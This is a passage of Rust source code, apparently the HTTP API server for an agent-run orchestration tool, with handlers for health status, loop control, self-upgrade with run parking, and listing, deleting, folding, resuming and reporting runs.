1798 (updater::effective_interval(cfg) / 8).clamp(UPDATE_RECHECK_POLL_MIN, UPDATE_RECHECK_POLL_MAX)
1799}
1800
1801async fn run_update_recheck(repo: PathBuf, home: PathBuf) {
1825 loop {
1826 let (cfg, _) = Config::discover(&repo, None).unwrap_or_default();
1827 tokio::time::sleep(recheck_poll_period(&cfg.update)).await;
1828 if !should_spawn_recheck(&cfg.update) {
1829 continue;
1830 }
1831 let Some(checker) = updater::Checker::new(&cfg.update) else {
1832 continue;
1833 };
1834 let progress = updater::read_progress(&home);
1835 if !update_recheck_due(&checker, progress.as_ref()) {
1836 continue;
1837 }
1838 if let Err(e) = checker.newer_release().await {
1839 tracing::warn!("background update recheck failed: {e:#}");
1840 }
1841 }
1842}
1843
1844fn cached_update_view(cfg: Option<&Config>) -> UpdateView {
1850 let default;
1851 let cfg = match cfg {
1852 Some(cfg) => cfg,
1853 None => {
1854 default = Config::default();
1855 &default
1856 }
1857 };
1858 let latest = updater::Checker::new(&cfg.update).and_then(|c| c.cached_update());
1859 match latest {
1860 Some(latest) => UpdateView {
1861 available: true,
1862 to: Some(latest.tag_name),
1863 },
1864 None => UpdateView {
1865 available: false,
1866 to: None,
1867 },
1868 }
1869}
1870
1871fn upgrade_progress_view(ui: &Ui, progress: updater::Progress) -> UpgradeProgressView {
1877 let waiting_on = (progress.stage == updater::Stage::Parking)
1878 .then_some(progress.parked_run.as_deref())
1879 .flatten()
1880 .and_then(|id| read_run(&ui.runs, id).ok())
1881 .map(|run| {
1882 format!(
1883 "run {} is finishing {} before the address is handed over",
1884 run.short(),
1885 run.status.as_str()
1886 )
1887 });
1888 let detail = progress
1889 .detail
1890 .clone()
1891 .or_else(|| updater::read_note(&ui.home, &progress));
1892 let stalled = updater::stall(&progress, Timestamp::now());
1893 let waiting_on = waiting_on.or_else(|| stalled.as_ref().map(|s| s.waiting_on.clone()));
1894 UpgradeProgressView {
1895 stuck_for_secs: stalled.map(|s| s.age_secs),
1896 stage: progress.stage,
1897 from: progress.from,
1898 to: progress.to,
1899 waiting_on,
1900 started_at: progress.started_at,
1901 updated_at: progress.updated_at,
1902 detail,
1903 }
1904}
1905
1906#[derive(Debug, Serialize)]
1911struct DiskView {
1912 #[serde(skip_serializing_if = "Option::is_none")]
1914 free_bytes: Option<u64>,
1915 runs_bytes: u64,
1917 worktrees_bytes: u64,
1919 #[serde(skip_serializing_if = "Option::is_none")]
1921 cache_bytes: Option<u64>,
1922}
1923
1924impl DiskView {
1925 fn of(ui: &Ui, cfg: Option<&Config>) -> Self {
1927 let cache_bytes = cfg
1928 .and_then(|cfg| cfg.cache_dir())
1929 .map(|dir| crate::disk::dir_size(&dir));
1930 Self {
1931 free_bytes: crate::disk::free_bytes(&ui.runs).ok(),
1932 runs_bytes: crate::disk::dir_size(&ui.runs),
1933 worktrees_bytes: crate::disk::dir_size(&ui.worktrees_root),
1934 cache_bytes,
1935 }
1936 }
1937}
1938
1939#[derive(Debug, Serialize)]
1941struct DaemonView {
1942 running: bool,
1943 idle: Option<bool>,
1944 pid: Option<u32>,
1945 current: Vec<daemon::Current>,
1949 completed: Option<u64>,
1950 stale_for_secs: Option<i64>,
1951}
1952
1953impl DaemonView {
1954 fn of(status: Option<daemon::Reading>) -> Self {
1958 let Some(status) = status else {
1959 return Self {
1960 running: false,
1961 idle: None,
1962 pid: None,
1963 current: Vec::new(),
1964 completed: None,
1965 stale_for_secs: None,
1966 };
1967 };
1968 let now = Timestamp::now();
1969 let age = status.age_secs(now);
1970 Self {
1971 running: status.running(now),
1972 idle: Some(status.idle),
1973 pid: status.pid,
1974 current: status.current,
1975 completed: Some(status.completed),
1976 stale_for_secs: age,
1977 }
1978 }
1979}
1980
1981async fn health(State(ui): State<Arc<Ui>>) -> ApiResult<Json<HealthView>> {
1982 blocking(move || {
1983 let reading = daemon::read_status(&ui.home);
1987 let loop_rev = ui.lock_loop().rev;
1991 let cfg = deputy_config(&ui.repo);
1994 let update = cached_update_view(cfg.as_ref());
1995 let upgrade = updater::read_progress(&ui.home).map(|p| upgrade_progress_view(&ui, p));
1996 Ok(Json(HealthView {
1997 version: env!("CARGO_PKG_VERSION"),
1998 home: ui.home.display().to_string(),
1999 queue_rev: stamps_revision(&store_stamps(ui.queue.root(), false)),
2000 runs_rev: runs_revision(&ui.runs),
2001 questions_rev: ui.questions.revision(),
2002 talks_rev: stamps_revision(&store_stamps(ui.talks.root(), false)),
2003 notifications_rev: ui.notices.revision(),
2004 notifications_unread: ui.notices.count_unread(),
2005 loop_rev,
2006 runs_unreadable: runs_unreadable(&ui.runs),
2007 questions_open: ui.questions.count_open(),
2008 questions_needs_owner: ui.questions.count_needs_owner(),
2009 daemon: DaemonView::of(reading.clone()),
2010 looping: ui.loop_view(reading),
2011 disk: DiskView::of(&ui, cfg.as_ref()),
2012 update,
2013 upgrade,
2014 }))
2015 })
2016 .await
2017}
2018
2019#[derive(Debug, Serialize)]
2021struct LoopView {
2022 running: bool,
2024 stopping: bool,
2032 parking: bool,
2040 owned: bool,
2048 repo: String,
2051 merge: Option<String>,
2054 last_error: Option<String>,
2062 daemon: DaemonView,
2065}
2066
2067#[derive(Debug, Clone, Copy)]
2076struct Foreign {
2077 pid: Option<u32>,
2079}
2080
2081impl Foreign {
2082 fn of(reading: Option<&daemon::Reading>) -> Option<Self> {
2085 daemon::foreign_loop(reading, Timestamp::now(), std::process::id()).map(|pid| Self { pid })
2089 }
2090
2091 fn who(&self) -> String {
2094 match self.pid {
2095 Some(pid) => format!("another magi process (pid {pid})"),
2096 None => "another magi process".to_owned(),
2097 }
2098 }
2099}
2100
2101type Launch = fn(daemon::Opts, daemon::Stop) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
2106
2107fn launch_daemon(
2109 opts: daemon::Opts,
2110 stop: daemon::Stop,
2111) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
2112 Box::pin(daemon::serve_until(opts, stop))
2113}
2114
2115#[derive(Debug, Default)]
2117struct LoopState {
2118 live: Option<Live>,
2120 rev: u64,
2128 last_error: Option<String>,
2131 resume_after_handover: bool,
2136}
2137
2138#[derive(Debug)]
2140struct Live {
2141 stop: daemon::Stop,
2143 handle: tokio::task::JoinHandle<()>,
2148 opts: daemon::Opts,
2152}
2153
2154impl Live {
2155 fn alive(&self) -> bool {
2157 !self.handle.is_finished()
2158 }
2159}
2160
2161fn lock_or_recover(state: &Mutex<LoopState>) -> MutexGuard<'_, LoopState> {
2168 state.lock().unwrap_or_else(PoisonError::into_inner)
2169}
2170
2171async fn loop_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<LoopView>> {
2173 blocking(move || {
2174 let reading = daemon::read_status(&ui.home);
2175 Ok(Json(ui.loop_view(reading)))
2176 })
2177 .await
2178}
2179
2180#[derive(Debug, Deserialize)]
2186#[serde(deny_unknown_fields)]
2187struct LoopCommand {
2188 running: bool,
2189 #[serde(default)]
2199 park: bool,
2200}
2201
2202async fn loop_post(
2210 State(ui): State<Arc<Ui>>,
2211 body: std::result::Result<Json<LoopCommand>, JsonRejection>,
2212) -> ApiResult<Json<LoopView>> {
2213 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2216 blocking(move || {
2217 let reading = daemon::read_status(&ui.home);
2218 let foreign = Foreign::of(reading.as_ref());
2219 if body.running {
2220 ui.start_loop(foreign)?;
2221 } else {
2222 ui.stop_loop(foreign, body.park)?;
2223 }
2224 Ok(Json(ui.loop_view(reading)))
2225 })
2226 .await
2227}
2228
2229#[derive(Debug, Serialize)]
2231struct UpgradeView {
2232 from: String,
2234 to: Option<String>,
2236 parked: Option<String>,
2238 detail: String,
2240}
2241
2242async fn upgrade_post(State(ui): State<Arc<Ui>>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
2266 let reading = daemon::read_status(&ui.home);
2267 if let Some(other) = Foreign::of(reading.as_ref()) {
2268 return Err(ApiError::conflict(format!(
2269 "the loop belongs to {}, so replacing this binary would leave \
2270 that process running an old one against the same queue. Upgrade \
2271 where it was started.",
2272 other.who()
2273 )));
2274 }
2275
2276 if crate::updater::disabled_by_env() {
2282 return Ok((
2283 StatusCode::OK,
2284 Json(UpgradeView {
2285 from: env!("CARGO_PKG_VERSION").to_owned(),
2286 to: None,
2287 parked: None,
2288 detail: format!(
2289 "Automatic updates are disabled by {}. Nothing was parked \
2290 and nothing restarted.",
2291 crate::updater::NO_AUTOUPDATE_ENV
2292 ),
2293 }),
2294 ));
2295 }
2296
2297 let (cfg, _) = Config::discover(&ui.repo, None).unwrap_or_default();
2302 let from = env!("CARGO_PKG_VERSION").to_owned();
2303 let latest = match crate::updater::Checker::new(&cfg.update) {
2304 Some(checker) => checker
2305 .newer_release()
2306 .await
2307 .map_err(|e| ApiError::internal(format!("check for a release: {e:#}")))?,
2308 None => None,
2309 };
2310 let Some(latest) = latest else {
2311 return Ok((
2312 StatusCode::OK,
2313 Json(UpgradeView {
2314 from,
2315 to: None,
2316 parked: None,
2317 detail: "Already on the newest release. Nothing was parked \
2318 and nothing restarted."
2319 .to_owned(),
2320 }),
2321 ));
2322 };
2323
2324 let parked = ui.park_for_upgrade()?;
2327 let detail = match &parked {
2328 Some(run) => format!(
2333 "Run {} is parking at its next step, which can take as long as \
2334 the step it is on - up to an hour for an implement wave. The \
2335 deck replaces itself once it parks, comes back, and the loop \
2336 carries that run on from where it stopped. Nothing is lost if \
2337 you close this.",
2338 crate::run::short_of(run)
2339 ),
2340 None => "The deck replaces itself and comes back. Nothing was in \
2341 flight to park."
2342 .to_owned(),
2343 };
2344
2345 let mut progress = updater::Progress::new(from.clone(), latest.tag_name.clone());
2349 progress.parked_run = parked.clone();
2350 let _ = updater::write_progress(&ui.home, &progress);
2351
2352 let home = ui.home.clone();
2353 let looping = ui.looping();
2354 tokio::spawn(async move {
2355 if let Err(e) = upgrade_and_restart(home.clone()).await {
2356 tracing::error!("the upgrade did not complete: {e:#}");
2357 lock_or_recover(&looping).resume_after_handover = false;
2358 if let Some(mut progress) = updater::read_progress(&home) {
2359 progress.fail(format!("{e:#}"));
2360 let _ = updater::write_progress(&home, &progress);
2361 }
2362 }
2363 });
2364
2365 Ok((
2366 StatusCode::ACCEPTED,
2367 Json(UpgradeView {
2368 from,
2369 to: Some(latest.tag_name),
2370 parked,
2371 detail,
2372 }),
2373 ))
2374}
2375
2376async fn upgrade_and_restart(home: PathBuf) -> Result<()> {
2381 crate::updater::run_self_update(true, false, true).await?;
2384 updater::log_step(&home, "binary replaced - recording the replaced stage");
2385 if let Some(mut progress) = updater::read_progress(&home) {
2386 progress.advance(updater::Stage::Replaced);
2387 updater::write_progress_logged(&home, &progress);
2388 }
2389 updater::log_step(&home, "upgrade_and_restart: signalling HANDOVER");
2390 HANDOVER.notify_one();
2391 updater::log_step(&home, "upgrade_and_restart: HANDOVER signalled");
2392 Ok(())
2393}
2394
2395#[derive(Debug, Serialize)]
2401struct RunSummary {
2402 id: String,
2403 short: String,
2404 status: String,
2405 done: bool,
2406 instruction: String,
2407 title: String,
2408 repo: String,
2409 repo_name: String,
2410 created_at: String,
2411 updated_at: String,
2412 candidates: usize,
2413 viable: usize,
2414 judges: usize,
2415 winner: Option<char>,
2416 reviews: usize,
2417 quota_losses: usize,
2418 event: Option<String>,
2419 superseded_by: Option<String>,
2424 waiting: bool,
2431 live: crate::run::Liveness,
2435 pr: Option<crate::run::PrRecord>,
2437 unmerged_by_design: bool,
2443 origin_label: String,
2446}
2447
2448impl RunSummary {
2449 fn of(state: &RunState, waiting: bool, live: crate::run::Liveness) -> Self {
2450 Self {
2451 id: state.id.clone(),
2452 short: state.short().to_owned(),
2453 status: status_word(state.status),
2454 done: state.status.done(),
2455 unmerged_by_design: state.unmerged_by_design(),
2456 instruction: state.instruction.clone(),
2457 title: title_from(&state.instruction, TITLE_MAX),
2458 repo: state.repo.display().to_string(),
2459 repo_name: state
2460 .repo
2461 .file_name()
2462 .map(|n| n.to_string_lossy().into_owned())
2463 .unwrap_or_default(),
2464 created_at: state.created_at.to_string(),
2465 updated_at: state.updated_at.to_string(),
2466 candidates: state.candidates.len(),
2467 viable: state.viable().len(),
2468 judges: state.config.graph.judges,
2469 winner: state.winner().map(|c| c.label),
2470 reviews: state.reviews.len(),
2471 quota_losses: state.quota.len(),
2472 event: state.events.last().map(|e| e.message.clone()),
2473 waiting,
2474 live,
2475 superseded_by: None,
2478 pr: state.pr.clone(),
2479 origin_label: crate::run::origin_label(state.origin.as_ref()),
2480 }
2481 }
2482}
2483
2484fn status_word(status: RunStatus) -> String {
2487 status.as_str().to_owned()
2491}
2492
2493#[derive(Debug, Deserialize)]
2495struct ListQuery {
2496 #[serde(default)]
2497 limit: Option<usize>,
2498 ids: Option<String>,
2500}
2501
2502impl ListQuery {
2503 fn contains(&self, id: &str) -> bool {
2504 self.ids
2505 .as_ref()
2506 .is_none_or(|ids| ids.split(',').any(|wanted| wanted == id))
2507 }
2508}
2509
2510async fn runs_list(
2511 State(ui): State<Arc<Ui>>,
2512 Query(q): Query<ListQuery>,
2513) -> ApiResult<Json<Vec<RunSummary>>> {
2514 let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
2515 blocking(move || {
2516 let (open_runs, claimed, superseded) = run_row_inputs(&ui);
2517 let states = run_ids(&ui.runs)
2518 .into_iter()
2519 .filter_map(|id| read_run(&ui.runs, &id).ok())
2524 .take(limit)
2525 .filter(|run| q.contains(&run.id));
2526 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
2527 let summaries = summarize(
2528 states,
2529 &open_runs,
2530 &claimed,
2531 &superseded,
2532 |p| probe.borrow_mut().status(p),
2533 |p| probe.borrow_mut().started_at(p),
2534 );
2535 Ok(Json(summaries))
2536 })
2537 .await
2538}
2539
2540fn run_row_inputs(ui: &Ui) -> (HashSet<String>, HashSet<String>, HashMap<String, String>) {
2545 let open_runs: HashSet<String> = ui
2546 .questions
2547 .list()
2548 .into_iter()
2549 .filter(|q| q.status.open())
2550 .map(|q| q.run)
2551 .collect();
2552 let claimed: HashSet<String> = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
2553 .into_iter()
2554 .map(|c| c.run)
2555 .collect();
2556 (open_runs, claimed, ui.queue.superseded())
2557}
2558
2559fn summarize<I, S, D>(
2565 states: I,
2566 open_runs: &HashSet<String>,
2567 claimed: &HashSet<String>,
2568 superseded: &HashMap<String, String>,
2569 mut status_q: S,
2570 mut identity_q: D,
2571) -> Vec<RunSummary>
2572where
2573 I: IntoIterator<Item = RunState>,
2574 S: FnMut(u32) -> Option<bool>,
2575 D: FnMut(u32) -> Option<String>,
2576{
2577 states
2578 .into_iter()
2579 .map(|state| {
2580 let waiting = open_runs.contains(&state.id);
2581 let live =
2582 state.liveness_with(claimed.contains(&state.id), &mut status_q, &mut identity_q);
2583 let mut row = RunSummary::of(&state, waiting, live);
2584 row.superseded_by = superseded
2585 .get(&state.id)
2586 .map(String::as_str)
2587 .map(crate::run::short_of)
2588 .map(str::to_owned);
2589 row
2590 })
2591 .collect()
2592}
2593
2594#[derive(Debug, Serialize)]
2601struct RunDetailView {
2602 #[serde(flatten)]
2603 state: RunState,
2604 instruction_md: Vec<md::Node>,
2605 #[serde(flatten)]
2609 prose_md: RunProseMd,
2610 live: crate::run::Liveness,
2625 unmerged_by_design: bool,
2630 done: bool,
2635 superseded_by: Option<String>,
2643 latest_attempt: Option<LatestAttempt>,
2657 task: Option<TaskRef>,
2660 origin_label: String,
2664}
2665
2666#[derive(Debug, Serialize)]
2668struct TaskRef {
2669 id: String,
2670 short: String,
2671 title: String,
2672 source_label: String,
2674 source_link: Option<SourceLink>,
2676 status: &'static str,
2678 attempts: usize,
2679 max_attempts: usize,
2680 is_latest: bool,
2682 latest: Option<RunBrief>,
2684 finished_by: Option<RunBrief>,
2686 closed_by_hand: bool,
2688}
2689
2690#[derive(Debug, PartialEq, Eq, Serialize)]
2692struct SourceLink {
2693 kind: &'static str,
2695 id: String,
2697 href: String,
2699}
2700
2701fn encode_segment(raw: &str) -> String {
2703 let mut out = String::with_capacity(raw.len());
2704 for b in raw.bytes() {
2705 if b.is_ascii_alphanumeric() || matches!(b, b'-' | b'.' | b'_' | b'~') {
2706 out.push(b as char);
2707 } else {
2708 out.push_str(&format!("%{b:02X}"));
2709 }
2710 }
2711 out
2712}
2713
2714fn source_link(source: &Source) -> Option<SourceLink> {
2718 let Source::Agent { run, node } = source else {
2719 return None;
2720 };
2721 let (kind, route) = if node == crate::queue::CHAT_NODE {
2722 ("chat", "chat")
2723 } else {
2724 ("run", "runs")
2725 };
2726 Some(SourceLink {
2727 kind,
2728 id: run.clone(),
2729 href: format!("#/{route}/{}", encode_segment(run)),
2730 })
2731}
2732
2733#[derive(Debug, Serialize)]
2735struct RunBrief {
2736 id: String,
2737 short: String,
2738 status: Option<&'static str>,
2740 outcome: String,
2742}
2743
2744fn task_outcome(
2747 task: &Task,
2748 this_run: &str,
2749 max_attempts: usize,
2750 read: impl Fn(&str) -> Option<RunState>,
2751) -> TaskRef {
2752 let history = task_history(task, read);
2753 let brief = |h: &TaskRunView| RunBrief {
2754 id: h.id.clone(),
2755 short: h.short.clone(),
2756 status: h.status,
2757 outcome: h.exit.edge_label(h.status),
2758 };
2759 let is_latest = task.runs.last().is_none_or(|r| r == this_run);
2760 let latest = if is_latest {
2761 None
2762 } else {
2763 history.last().map(brief)
2764 };
2765 let done = task.status == TaskStatus::Done;
2766 let finished_by = done
2767 .then(|| {
2768 history
2769 .iter()
2770 .rev()
2771 .find(|h| {
2772 matches!(
2773 h.exit,
2774 RunExit::Merged | RunExit::Ready | RunExit::AlreadyInBase
2775 )
2776 })
2777 .map(brief)
2778 })
2779 .flatten();
2780 TaskRef {
2781 short: task.short().to_owned(),
2782 title: task.title.clone(),
2783 id: task.id.clone(),
2784 source_label: task.source.label(),
2785 source_link: source_link(&task.source),
2786 status: task.status.as_str(),
2787 attempts: task.attempts,
2788 max_attempts,
2789 is_latest,
2790 latest,
2791 closed_by_hand: done && finished_by.is_none(),
2792 finished_by,
2793 }
2794}
2795
2796#[derive(Debug, Serialize)]
2798struct LatestAttempt {
2799 id: String,
2800 short: String,
2801 resolved: bool,
2812 status: RunStatus,
2815 done: bool,
2817}
2818
2819#[derive(Debug, Default, Serialize)]
2821struct RunProseMd {
2822 advice_md: Option<AdviceMd>,
2824 candidate_summaries_md: Vec<Vec<md::Node>>,
2826 reviews_md: Vec<RoundMd>,
2828}
2829
2830#[derive(Debug, Default, Serialize)]
2831struct AdviceMd {
2832 synthesis: Vec<md::Node>,
2833 approaches: Vec<Vec<md::Node>>,
2835}
2836
2837#[derive(Debug, Default, Serialize)]
2838struct RoundMd {
2839 reviewers: Vec<ReviewerMd>,
2841 reconsideration: Vec<Vec<md::Node>>,
2843 fix: Option<FixMd>,
2844}
2845
2846#[derive(Debug, Default, Serialize)]
2847struct ReviewerMd {
2848 summary: Vec<md::Node>,
2849 findings: Vec<Vec<md::Node>>,
2851}
2852
2853#[derive(Debug, Default, Serialize)]
2854struct FixMd {
2855 notes: Vec<md::Node>,
2856 rejected: Vec<Vec<md::Node>>,
2858}
2859
2860fn run_prose_md(state: &RunState) -> RunProseMd {
2862 let nodes = |t: &str| md::to_nodes(t, &md::ImageBase::None);
2863 RunProseMd {
2864 advice_md: state.advice.as_ref().map(|a| AdviceMd {
2865 synthesis: nodes(a.synthesis.as_deref().unwrap_or("")),
2866 approaches: a
2867 .records
2868 .iter()
2869 .map(|r| nodes(r.proposal.as_ref().map_or("", |p| p.approach.as_str())))
2870 .collect(),
2871 }),
2872 candidate_summaries_md: state.candidates.iter().map(|c| nodes(&c.summary)).collect(),
2873 reviews_md: state
2874 .reviews
2875 .iter()
2876 .map(|round| RoundMd {
2877 reviewers: round
2878 .reviews
2879 .iter()
2880 .map(|rec| ReviewerMd {
2881 summary: nodes(&rec.summary),
2882 findings: rec.findings.iter().map(|f| nodes(&f.detail)).collect(),
2883 })
2884 .collect(),
2885 reconsideration: round
2886 .reconsideration
2887 .iter()
2888 .map(|rv| nodes(&rv.reason))
2889 .collect(),
2890 fix: round.fix.as_ref().map(|fix| FixMd {
2891 notes: nodes(&fix.notes),
2892 rejected: fix.rejected.iter().map(|r| nodes(&r.why)).collect(),
2893 }),
2894 })
2895 .collect(),
2896 }
2897}
2898
2899impl RunDetailView {
2900 fn of(
2901 state: RunState,
2902 live: crate::run::Liveness,
2903 superseded_by: Option<String>,
2904 latest_attempt: Option<LatestAttempt>,
2905 task: Option<TaskRef>,
2906 ) -> Self {
2907 Self {
2908 instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
2909 prose_md: run_prose_md(&state),
2910 origin_label: crate::run::origin_label(state.origin.as_ref()),
2911 live,
2912 unmerged_by_design: state.unmerged_by_design(),
2913 done: state.status.done(),
2914 superseded_by,
2915 latest_attempt,
2916 task,
2917 state,
2918 }
2919 }
2920}
2921
2922async fn run_detail(
2923 State(ui): State<Arc<Ui>>,
2924 Path(id): Path<String>,
2925) -> ApiResult<Json<RunDetailView>> {
2926 blocking(move || {
2927 let id = resolve_run(&ui.runs, &id)?;
2928 let state = read_run(&ui.runs, &id)?;
2929 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
2930 let live = state.liveness(daemon_claims);
2931 let superseded_by = ui
2932 .queue
2933 .superseded_by(&id)
2934 .as_deref()
2935 .map(crate::run::short_of)
2936 .map(str::to_owned);
2937 let latest_attempt = ui.queue.latest_attempt(&id).and_then(|head_id| {
2941 read_run(&ui.runs, &head_id).ok().map(|head| LatestAttempt {
2942 short: head.short().to_owned(),
2943 resolved: matches!(head.status, RunStatus::Merged | RunStatus::Ready),
2944 status: head.status,
2945 done: head.status.done(),
2946 id: head.id,
2947 })
2948 });
2949 let max_attempts = daemon::Opts::default().max_attempts;
2950 let task = ui
2951 .queue
2952 .list()
2953 .into_iter()
2954 .find(|t| t.runs.contains(&id))
2955 .map(|t| task_outcome(&t, &id, max_attempts, |r| read_run(&ui.runs, r).ok()));
2956 Ok(Json(RunDetailView::of(
2957 state,
2958 live,
2959 superseded_by,
2960 latest_attempt,
2961 task,
2962 )))
2963 })
2964 .await
2965}
2966
2967async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
2976 let (id, unreadable) = {
2977 let ui = Arc::clone(&ui);
2978 blocking(move || {
2979 let id = resolve_run(&ui.runs, &id)?;
2980 match read_run(&ui.runs, &id) {
2981 Ok(state) => {
2982 let in_flight =
2983 crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
2984 state
2985 .ensure_can_delete(in_flight)
2986 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
2987 let dir = ui.runs.join(&id);
2988 std::fs::remove_dir_all(&dir)
2989 .with_context(|| format!("remove run directory {}", dir.display()))?;
2990 Ok((id, false))
2991 }
2992 Err(_) => {
2993 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
2997 return Err(ApiError::conflict(format!(
2998 "run {id} is being worked on by a live daemon right now"
2999 )));
3000 }
3001 Ok((id, true))
3002 }
3003 }
3004 })
3005 .await?
3006 };
3007 if unreadable {
3008 crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
3009 .await
3010 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3011 }
3012 let ui = Arc::clone(&ui);
3013 let done = id.clone();
3014 blocking(move || {
3015 ui.questions.abandon_for_run(
3018 &done,
3019 &format!("run {done} was deleted, so nothing is waiting for this answer"),
3020 )?;
3021 Ok(())
3022 })
3023 .await?;
3024 Ok(StatusCode::NO_CONTENT)
3025}
3026
3027async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
3051 let (id, state) = {
3052 let ui = Arc::clone(&ui);
3053 blocking(move || {
3054 let id = resolve_run(&ui.runs, &id)?;
3055 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3056 return Err(ApiError::conflict(format!(
3057 "run {id} is being worked on by a live daemon right now"
3058 )));
3059 }
3060 let state = read_run(&ui.runs, &id).ok();
3061 Ok((id, state))
3062 })
3063 .await?
3064 };
3065 let removed = match state {
3066 Some(mut state) => {
3067 let removed = crate::graph::fold_run(&mut state, true, &ui.home)
3068 .await
3069 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3070 if removed.is_empty() {
3075 crate::clean::clear_abandoned_active(&mut state, &ui.home, jiff::Timestamp::now())
3076 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3077 }
3078 removed
3079 }
3080 None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
3081 .await
3082 .map_err(|e| ApiError::internal(format!("{e:#}")))?,
3083 };
3084 Ok(Json(FoldView {
3085 run: id,
3086 removed_count: removed.len(),
3087 removed,
3088 }))
3089}
3090
3091#[derive(Debug, Serialize)]
3093struct FoldView {
3094 run: String,
3095 removed: Vec<String>,
3097 removed_count: usize,
3098}
3099
3100#[derive(Debug, Deserialize)]
3103struct FoldMergedBody {
3104 #[serde(default)]
3105 pr_url: String,
3106}
3107
3108async fn run_fold_merged(
3128 State(ui): State<Arc<Ui>>,
3129 Path(id): Path<String>,
3130 Json(body): Json<FoldMergedBody>,
3131) -> ApiResult<Json<FoldMergedView>> {
3132 let pr_url = body.pr_url.trim().to_owned();
3133 if pr_url.is_empty() {
3134 return Err(ApiError::bad_request("pr_url is required"));
3135 }
3136 let (id, mut state) = {
3137 let ui = Arc::clone(&ui);
3138 blocking(move || {
3139 let id = resolve_run(&ui.runs, &id)?;
3140 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3141 return Err(ApiError::conflict(format!(
3142 "run {id} is being worked on by a live daemon right now"
3143 )));
3144 }
3145 let state = read_run(&ui.runs, &id)?;
3146 Ok((id, state))
3147 })
3148 .await?
3149 };
3150 let (before, after) = crate::land::correct_manual_merge(&mut state, &pr_url)
3151 .await
3152 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
3153 let removed = crate::graph::fold_run(&mut state, true, &ui.home)
3154 .await
3155 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3156 Ok(Json(FoldMergedView {
3157 run: id,
3158 before: before.as_str().to_owned(),
3159 after: after.as_str().to_owned(),
3160 removed,
3161 }))
3162}
3163
3164#[derive(Debug, Serialize)]
3166struct FoldMergedView {
3167 run: String,
3168 before: String,
3170 after: String,
3172 removed: Vec<String>,
3174}
3175
3176async fn run_resume(
3196 State(ui): State<Arc<Ui>>,
3197 Path(id): Path<String>,
3198) -> ApiResult<(StatusCode, Json<RunSummary>)> {
3199 let (id, state) = {
3200 let ui = Arc::clone(&ui);
3201 blocking(move || {
3202 let id = resolve_run(&ui.runs, &id)?;
3203 let state = read_run(&ui.runs, &id)?;
3204 Ok((id, state))
3205 })
3206 .await?
3207 };
3208 if let Some(to) = &state.released_to {
3209 return Err(ApiError::conflict(format!(
3210 "run {} can no longer be resumed: its worktree was released to run {}, which \
3211 took the branch over.",
3212 state.short(),
3213 crate::run::short_of(to)
3214 )));
3215 }
3216 if !state.status.resumable() {
3217 return Err(ApiError::conflict(format!(
3218 "run {} is `{}`, and only a stalled or blocked run can be resumed",
3219 state.short(),
3220 status_word(state.status)
3221 )));
3222 }
3223 if let Some(work) = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
3228 .into_iter()
3229 .next()
3230 {
3231 return Err(ApiError::conflict(format!(
3232 "the loop is running run {} right now; stop it first, or wait for \
3233 it to finish, before resuming a run by hand.",
3234 crate::run::short_of(&work.run)
3235 )));
3236 }
3237 let _resume = ui.begin_resume(&id)?;
3238
3239 let queued = RunSummary::of(
3242 &state,
3243 !ui.questions.open_for(&id).is_empty(),
3244 state.liveness(false),
3245 );
3246 let run = id.clone();
3247 tokio::spawn(async move {
3248 let _resume = _resume;
3249 match crate::graph::Runner::resume(&run) {
3250 Ok(mut runner) => {
3251 if let Err(e) = runner.execute().await {
3252 tracing::warn!("resume of run {run} stopped: {e:#}");
3253 }
3254 }
3255 Err(e) => tracing::warn!("run {run} could not be resumed: {e:#}"),
3258 }
3259 });
3260 Ok((StatusCode::ACCEPTED, Json(queued)))
3261}
3262
3263async fn run_report(
3264 State(ui): State<Arc<Ui>>,
3265 Path(id): Path<String>,
3266) -> ApiResult<impl IntoResponse> {
3267 let text = blocking(move || {
3268 let id = resolve_run(&ui.runs, &id)?;
3269 let state = read_run(&ui.runs, &id)?;
3273 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3274 let live = state.liveness(daemon_claims);
3275 Ok(format!(
3276 "{}{}",
3277 report::run(&state),
3278 report::active_seats(&state, live)
3279 ))
3280 })
3281 .await?;
3282 Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
3283}
3284
3285async fn run_report_json(
3289 State(ui): State<Arc<Ui>>,
3290 Path(id): Path<String>,
3291) -> ApiResult<Json<crate::report_view::RunReportView>> {
3292 let view = blocking(move || {
3293 let id = resolve_run(&ui.runs, &id)?;
3294 let state = read_run(&ui.runs, &id)?;
3295 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3296 Ok(crate::report_view::build(
3297 &state,
3298 state.liveness(daemon_claims),
3299 ))
3300 })
3301 .await?;
3302 Ok(Json(view))
3303}
3304
3305#[derive(Debug, Serialize)]
3311struct TaskView {
3312 #[serde(flatten)]
3313 task: Task,
3314 source_label: String,
3315 source_link: Option<SourceLink>,
3316 status_str: &'static str,
3317 instruction_md: Vec<md::Node>,
3321 waits_on: Vec<String>,
3325 stuck_roots: Vec<String>,
3328}
